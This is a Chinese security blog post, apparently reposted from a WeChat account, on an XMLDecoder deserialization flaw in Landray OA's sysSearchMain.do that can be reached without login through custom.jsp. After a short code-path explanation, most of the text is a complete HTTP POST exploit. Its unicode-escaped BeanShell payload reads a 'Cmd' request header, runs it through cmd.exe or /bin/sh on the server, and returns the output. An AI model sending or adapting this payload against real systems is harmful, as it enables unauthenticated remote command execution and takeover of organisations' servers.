蓝凌OA sysSearchMain.do文件 存在任意文件写入漏洞，攻击者获取后台权限后可通过漏洞写入任意文件，也可以通过 custom.jsp 文件未授权写入恶意文件
网络测绘：
漏洞在/sys/search/sys_search_main/sysSearchMain.do method 为 editrParam
参数为 FdParameters，在 com.landray.kmss.sys.search.jar 中的 com.landray.kmss.sys.search.actions.SysSearchMainAction 类。method 为 editrParam。对 fdParemNames 的内容进行了判空。如果不为空,进入 SysSearchDictUtil.getParamConditionEntry 方法。也是对 fdParemNames 进行了一次判空。然后传入 ObjectXML.objectXMLDecoderByString 方法。
/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&FdParameters=[shellcode]将传入进来的 string 字符进行替换。将其载入字节数组缓冲区，在传递给 objectXmlDecoder。在 objectXmlDecoder 中。就更明显了。典型的 xmlDecoder 反序列化。整体流程只对 FdParameters 的内容进行了一些内容替换。导致 xmlDecoder 反序列化漏洞。
其中存在利用 custom.jsp 文件导致前台的命令执行以及文件上传，发送请求执行命令
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host:User-Agent: Go-http-client/1.1Content-Length: 17574Cmd: dirContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzipvar={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void%20method=%22eval%22><string>u0020u0020u0020u0020u0062u006fu006fu006cu0065u0061u006eu0020u0066u006cu0061u0067u0020u003du0020u0066u0061u006cu0073u0065u003bu0054u0068u0072u0065u0061u0064u0047u0072u006fu0075u0070u0020u0067u0072u006fu0075u0070u0020u003du0020u0054u0068u0072u0065u0061u0064u002eu0063u0075u0072u0072u0065u006eu0074u0054u0068u0072u0065u0061u0064u0028u0029u002eu0067u0065u0074u0054u0068u0072u0065u0061u0064u0047u0072u006fu0075u0070u0028u0029u003bu006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0072u0065u0066u006cu0065u0063u0074u002eu0046u0069u0065u006cu0064u0020u0066u0020u003du0020u0067u0072u006fu0075u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0068u0072u0065u0061u0064u0073u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu0054u0068u0072u0065u0061u0064u005bu005du0020u0074u0068u0072u0065u0061u0064u0073u0020u003du0020u0028u0054u0068u0072u0065u0061u0064u005bu005du0029u0020u0066u002eu0067u0065u0074u0028u0067u0072u006fu0075u0070u0029u003bu0066u006fu0072u0020u0028u0069u006eu0074u0020u0069u0020u003du0020u0030u003bu0020u0069u0020u003cu0020u0074u0068u0072u0065u0061u0064u0073u002eu006cu0065u006eu0067u0074u0068u003bu0020u0069u002bu002bu0029u0020u007bu0020u0074u0072u0079u0020u007bu0020u0054u0068u0072u0065u0061u0064u0020u0074u0020u003du0020u0074u0068u0072u0065u0061u0064u0073u005bu0069u005du003bu0069u0066u0020u0028u0074u0020u003du003du0020u006eu0075u006cu006cu0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0053u0074u0072u0069u006eu0067u0020u0073u0074u0072u0020u003du0020u0074u002eu0067u0065u0074u004eu0061u006du0065u0028u0029u003bu0069u0066u0020u0028u0073u0074u0072u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0065u0078u0065u0063u0022u0029u0020u007cu007cu0020u0021u0073u0074u0072u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0068u0074u0074u0070u0022u0029u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0066u0020u003du0020u0074u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0061u0072u0067u0065u0074u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu004fu0062u006au0065u0063u0074u0020u006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u0074u0029u003bu0069u0066u0020u0028u0021u0028u006fu0062u006au0020u0069u006eu0073u0074u0061u006eu0063u0065u006fu0066u0020u0052u0075u006eu006eu0061u0062u006cu0065u0029u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0068u0069u0073u0024u0030u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0074u0072u0079u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0068u0061u006eu0064u006cu0065u0072u0022u0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u0046u0069u0065u006cu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0068u0061u006eu0064u006cu0065u0072u0022u0029u003bu0020u007du0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0074u0072u0079u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0067u006cu006fu0062u0061u006cu0022u0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u0046u0069u0065u006cu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0067u006cu006fu0062u0061u006cu0022u0029u003bu0020u007du0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006au0061u0076u0061u002eu0075u0074u0069u006cu002eu004cu0069u0073u0074u0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u0020u003du0020u0028u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu004cu0069u0073u0074u0029u0020u0028u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u0029u003bu0066u006fu0072u0020u0028u0069u006eu0074u0020u006au0020u003du0020u0030u003bu0020u006au0020u003cu0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u002eu0073u0069u007au0065u0028u0029u003bu0020u002bu002bu006au0029u0020u007bu0020u004fu0062u006au0065u0063u0074u0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0020u003du0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u002eu0067u0065u0074u0028u006au0029u003bu0066u0020u003du0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0072u0065u0071u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu004fu0062u006au0065u0063u0074u0020u0072u0065u0071u0020u003du0020u0066u002eu0067u0065u0074u0028u0070u0072u006fu0063u0065u0073u0073u006fu0072u0029u003bu004fu0062u006au0065u0063u0074u0020u0072u0065u0073u0070u0020u003du0020u0072u0065u0071u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0067u0065u0074u0052u0065u0073u0070u006fu006eu0073u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu0030u005du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0071u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu0030u005du0029u003bu0073u0074u0072u0020u003du0020u0028u0053u0074u0072u0069u006eu0067u0029u0020u0072u0065u0071u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0067u0065u0074u0048u0065u0061u0064u0065u0072u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0053u0074u0072u0069u006eu0067u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0071u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0022u0043u006du0064u0022u007du0029u003bu0069u0066u0020u0028u0073u0074u0072u0020u0021u003du0020u006eu0075u006cu006cu0020u0026u0026u0020u0021u0073u0074u0072u002eu0069u0073u0045u006du0070u0074u0079u0028u0029u0029u0020u007bu0020u0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0073u0065u0074u0053u0074u0061u0074u0075u0073u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0069u006eu0074u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0032u0030u0030u0029u007du0029u003bu0053u0074u0072u0069u006eu0067u005bu005du0020u0063u006du0064u0073u0020u003du0020u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u0050u0072u006fu0070u0065u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u0065u0072u0043u0061u0073u0065u0028u0029u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0077u0069u006eu0064u006fu0077u0022u0029u0020u003fu0020u006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u005bu005du007bu0022u0063u006du0064u002eu0065u0078u0065u0022u002cu0020u0022u002fu0063u0022u002cu0020u0073u0074u0072u007du0020u003au0020u006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u005bu005du007bu0022u002fu0062u0069u006eu002fu0073u0068u0022u002cu0020u0022u002du0063u0022u002cu0020u0073u0074u0072u007du003bu0053u0074u0072u0069u006eu0067u0020u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0020u003du0020u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u0050u0072u006fu0070u0065u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u0065u0072u0043u0061u0073u0065u0028u0029u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0077u0069u006eu0064u006fu0077u0022u0029u0020u003fu0020u0022u0047u0042u004bu0022u003au0022u0055u0054u0046u002du0038u0022u003bu0062u0079u0074u0065u005bu005du0020u0074u0065u0078u0074u0032u0020u003du0028u006eu0065u0077u0020u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu0053u0063u0061u006eu006eu0065u0072u0028u0028u006eu0065u0077u0020u0050u0072u006fu0063u0065u0073u0073u0042u0075u0069u006cu0064u0065u0072u0028u0063u006du0064u0073u0029u0029u002eu0073u0074u0061u0072u0074u0028u0029u002eu0067u0065u0074u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0028u0029u002cu0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u0029u002eu0075u0073u0065u0044u0065u006cu0069u006du0069u0074u0065u0072u0028u0022u005cu005cu0041u0022u0029u002eu006eu0065u0078u0074u0028u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u003bu0062u0079u0074u0065u005bu005du0020u0072u0065u0073u0075u006cu0074u003du0028u0022u0045u0078u0065u0063u0075u0074u0065u003au0020u0020u0020u0020u0022u002bu006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u0028u0074u0065u0078u0074u0032u002cu0022u0075u0074u0066u002du0038u0022u0029u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u003bu0074u0072u0079u0020u007bu0020u0043u006cu0061u0073u0073u0020u0063u006cu0073u0020u003du0020u0043u006cu0061u0073u0073u002eu0066u006fu0072u004eu0061u006du0065u0028u0022u006fu0072u0067u002eu0061u0070u0061u0063u0068u0065u002eu0074u006fu006du0063u0061u0074u002eu0075u0074u0069u006cu002eu0062u0075u0066u002eu0042u0079u0074u0065u0043u0068u0075u006eu006bu0022u0029u003bu006fu0062u006au0020u003du0020u0063u006cu0073u002eu006eu0065u0077u0049u006eu0073u0074u0061u006eu0063u0065u0028u0029u003bu0063u006cu0073u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u004du0065u0074u0068u006fu0064u0028u0022u0073u0065u0074u0042u0079u0074u0065u0073u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0062u0079u0074u0065u005bu005du002eu0063u006cu0061u0073u0073u002cu0020u0069u006eu0074u002eu0063u006cu0061u0073u0073u002cu0020u0069u006eu0074u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u006fu0062u006au002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0072u0065u0073u0075u006cu0074u002cu0020u006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0030u0029u002cu0020u006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0072u0065u0073u0075u006cu0074u002eu006cu0065u006eu0067u0074u0068u0029u007du0029u003bu0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0064u006fu0057u0072u0069u0074u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0063u006cu0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006fu0062u006au007du0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u004du0065u0074u0068u006fu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0076u0061u0072u0035u0029u0020u007bu0020u0043u006cu0061u0073u0073u0020u0063u006cu0073u0020u003du0020u0043u006cu0061u0073u0073u002eu0066u006fu0072u004eu0061u006du0065u0028u0022u006au0061u0076u0061u002eu006eu0069u006fu002eu0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0022u0029u003bu006fu0062u006au0020u003du0020u0063u006cu0073u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u004du0065u0074u0068u006fu0064u0028u0022u0077u0072u0061u0070u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0062u0079u0074u0065u005bu005du002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0063u006cu0073u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0072u0065u0073u0075u006cu0074u007du0029u003bu0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0064u006fu0057u0072u0069u0074u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0063u006cu0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006fu0062u006au007du0029u003bu0020u007du0066u006cu0061u0067u0020u003du0020u0074u0072u0075u0065u003bu0020u007du0069u0066u0020u0028u0066u006cu0061u0067u0029u0020u007bu0020u0062u0072u0065u0061u006bu003bu0020u007du0020u007du0069u0066u0020u0028u0066u006cu0061u0067u0029u0020u007bu0020u0062u0072u0065u0061u006bu003bu0020u007du0020u007du0020u0063u0061u0074u0063u0068u0020u0028u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0020u007d</string></void></void></java>
后台回复：“快乐星球” 关注最新动态
微信群已经创建，感兴趣的师傅后台回复：进群
原文始发于微信公众号（左逆安全攻防）：蓝凌OA sysSearchMain.do 远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论